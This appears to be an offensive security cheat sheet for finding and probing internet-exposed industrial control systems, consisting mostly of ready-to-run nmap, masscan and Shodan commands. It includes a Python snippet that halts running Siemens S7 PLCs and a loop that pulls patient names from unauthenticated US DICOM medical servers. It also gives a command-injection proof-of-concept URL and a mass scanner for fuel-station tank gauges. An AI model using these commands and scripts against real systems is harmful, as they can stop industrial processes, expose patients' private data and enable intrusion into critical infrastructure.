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🦾 ICS/SCADA Enumeration Techniques for Effective Scanning, Network Reconnaissance, and Tactical Host Probing:

General Enumeration:

nmap -Pn -sT --scan-delay 1s --max-parallelism 1 \
    -p
    80,102,443,502,530,593,789,1089-1091,1911,1962,2222,2404,4000,4840,4843,4911,9600,19999,20000,20547,34962-34964,34980,44818,46823,46824,55000-55003 \
    <target>

Siemens S7

Enumerates Siemens S7 PLC Devices and collects their device information. This script is based off PLCScan that was developed by Positive Research and Scadastrangelove (https://code.google.com/p/plcscan/). This script is meant to provide the same functionality as PLCScan inside of Nmap. Some of the information that is collected by PLCScan was not ported over; this information can be parsed out of the packets that are received.

Usage:

nmap --script s7-info.nse -p 102 <host/s>

Output:

102/tcp open  Siemens S7 PLC
| s7-info:
|   Basic Hardware: 6ES7 315-2AG10-0AB0
|   System Name: SIMATIC 300(1)
|   Copyright: Original Siemens Equipment
|   Version: 2.6.9
|   Module Type: CPU 315-2 DP
|   Module: 6ES7 315-2AG10-0AB0
|_  Serial Number: S C-X4U421302009

For scalable scanning and reconnaissance, utilize masscan for faster enumeration:

masscan <IP Range> -p 102 -oL Possible_ICS.txt; cat Possible_ICS.txt | while read LINE; do nmap --script s7-info.nse -p 102 $(awk '{print $4}'); done

Stopping S7 CPUs with Python:

import snap7

client = snap7.client.Client()
client.connect("<PLC IP>", 0, 0)

cpu_state = client.get_cpu_state()

if cpu_state == "S7CpuStatusRun":
    client.plc_stop()

Modbus Scanning

nmap -Pn -sT -p502 --script modbus-discover <target>

nmap -sT -Pn -p502 --script modbus-discover --script-args modbus-discover.aggressive=true <target>

Bacnet

nmap -Pn -sU -p47808 --script bacnet-info <target>

# Siemens Bacnet P2 Enumeration 

nmap -Pn -sT -n -T4 -p5033 <target> 

Enip

nmap -Pn -sU -p44818 --script enip-info <target>

Niagara fOX

nmap -Pn -sT -p1911,4911 --script fox-info <target>

Omron

nmap -Pn -sU -p9600 --script omrom-info <target>

PCWorx Devices

PCWorx devices allow unaunthenticated requests that query for system information.

nmap -Pn -sT -p1962 --script pcworx-info <target>

Shodan.io Queries

PLCs

Shodan one-liner for enumerating Siemens PLCs, SCADA software, and HMI web pages

root@RoseSecurity:~# shodan search --fields ip_str,port siemens > Siemens.txt; echo "$(cat Siemens.txt | awk '{if ($2 == "80" || $2 == "443") {print $1;} }')" > Siemens.txt; eyewitness -f Siemens.txt

HMI Screenshots

screenshot.label:ics

Siemens S7-1200 PLC

Location: /Default.mwsl

Siemens APOGEE Building Systems

Model Name: Siemens BACnet Field Panel

Siemens Desigo CC Building System Workstations

Model Name: Desigo CC

Omron CJ2 PLCs

Product name: CJ2*

Schneider Electric PLCs

Device Identification: Schneider Electric

Schneider Electric PowerLogic Series 800 Power Meter

PowerLogic PM800

Schweitzer Engineering Laboratories Power Quality and Revenue Meter

SEL-735 Telnet Server

Maritime

Subsea Mission Control Panels

title:"Slocum Fleet Mission Control"

K4 Edge Routers and Maritime VSAT

"k4DCP5" country:US

KVH Commbox Terminals

html:commbox

Cobham Sailor VSAT

title:”sailor 900"
SAILOR 800 VSAT

Pepwave Cellular Routers

"Pepwave MAX"
cgi-bin/MANGA/index.cgi

Miscellaneous

Nordex Wind Turbine Farms

http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"

DICOM Medical X-Ray Machines

"DICOM Server Response" port:104

TeamViewer

port:5938 "\x17$\x11\x04\x00"

Yealink T49G VOIP Phones

Yealink T49G

Search for devices vulnerable to CVE-2022-22954:

VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result in remote code execution.

http.favicon.hash:-1250474341

Exposed DICOM Servers

Count patient names in US exposed DICOM medical servers with no authentication

$ shodan download search "tag:medical" "country:us"; shodan parse --fields ip_str search.json.gz > usa_dicom_ip ; for i in `cat usa_dicom_ip` ; do echo "///// Now connecting to $i ////" ; findscu -v -to 1 -P -k PatientName="*" $i 104 >> us_dicom_patient_names; wc -l us_dicom_patient_names ; done

Zyxel Firewall Unauthenticated Remote Command Injection

Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The vulnerability, identified as CVE-2022-30525, allows an unauthenticated and remote attacker to achieve arbitrary code execution as the nobody user on the affected device.

title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"

SDT-CW3B1 1.1.0 - OS Command Injection (CVE-2021-46422)

poc:http://<IP>/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id

Setting Up Shodan for Target Monitoring

  1. Determine your home IP or target of interest's IP address
root@RoseSecurity# shodan myip
69.69.69.69
  1. Create network alert
root@RoseSecurity# shodan create home 69.69.69.69
Successfully created network alert!
Alert ID: 34W09AETJKAHEDPX
  1. Confirm that alert is generated
root@RoseSecurity# shodan alert info home 
home
Created: 2022-03-01:69:69:69000
Notifications: Disabled

Network Range(s):
> 69.69.69.69
Triggers:
> any
  1. Turn on notification
root@RoseSecurity# shodan alert enable 34W09AETJKAHEDPX any
Successfully enabled Trigger: any

ICS Common File Extensions

Python script to search for common ICS file extensions

# Author: selmux
import os

ics_path = r'/path/to/dir/'                   # change  path
ics_ext = (
'.rtu',  
'.rdb', 
'.ctz', 
'.exp', 
'.hprb', 
'.selaprj',
'.xml',
'.bkp',
'.ssnet',
'.ncz',
'.prj',
'.rcd',
'.SYS_BASCOM.COM',
'.pcmp',
'.pcmi',
'.pcmt',
'.spj',
'.plz',
'.spj.prev',
'.adb',
'.opt',
'.out',
'.prp',
'.scl',
'.icd',
'.ied',
'.cid',
'.scd',
'.ssd',
'.ctz',
'.ap12',
'.ap13',
'.ap14',
'.ap15',
'.ap16',
'.ap17',
'.zap12',
'.zap13',
'.zap14',
'.zap15',
'.zap16',
'.zap17',
'.conf',
'.gz',
'.zip',
'.urs',
'.tcw',
'.hmb',
'.m6b',
'.sim',
'.syl',
'.cfg',
'.pt2',
'.l5x',
'.txt',
'.pl',
'.paf',
'.ini',
'.cin',
'.xrf',
'.v',
'.trc',
'.s5d',
'.s7p',
'.mwp',
'.s7f',
'.arj',
'.ekb',
'.license',
'.lic',
'.vstax',
'.cv4',
'.dtq',
'.pc5',
'.l5x',
'.eas',
'.l5k',
'.apa',
'.lic',
'.gsd',
'.gsg',
'.gse',
'.gsf',
'.gsi',
'.gsp',
'.gss'                                     
)

for root, dirs, files in os.walk(ics_path):
    for file in files:
        if file.endswith(ics_ext):
             print(os.path.join(root, file))
             

Automated Tank Gauge (ATG) Remote Configuration Disclosure:

In 2015, HD Moore, the creator of Metasploit, published an article disclosing over 5,800 gas station Automated Tank Gauges (ATGs) which were publicly accessible. Besides monitoring for leakage, these systems are also instrumental in gauging fluid levels, tank temperature, and can alert operators when tank volumes are too high or have reached a critical low. ATGs are utilized by nearly every fueling station in the United States and tens of thousands of systems internationally. They are most commonly manufactured by Veeder-Root, a supplier of fuel dispensers, payment systems, and forecourt merchandising. For remote monitoring of these fuel systems, operators will commonly configure the ATG serial interface to an internet-facing TCP port (generally set to TCP 10001). This script reads the Get In-Tank Inventory Report from TCP/10001 as a proof of concept to demonstrate the arbitrary access.

#!/usr/bin/env python3

 
import time
import socket            
with open("/tmp/ATG_SCAN.txt",'r') as atg_file:
    for line in atg_file.read().splitlines():
        try:
            atg_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = 10001
            search_str = 'IN-TANK INVENTORY'               
            msg = str('\x01' + 'I20100' + '\n').encode('ascii')
            atg_socket.connect((line, port))
            atg_socket.send(msg)
            time.sleep(.25)
            response = atg_socket.recv(1024).decode()
            if search_str in response:
                with open("/tmp/ATG_DEVICES.txt", 'a') as file2:
                    file2.write(line + "\t ->\tATG Device\n")
            else:
                continue
            atg_socket.close()   
        except:
            pass 
atg_file.close()

Video PoC:

https://www.youtube.com/watch?v=HkO4cs95erU&t=818s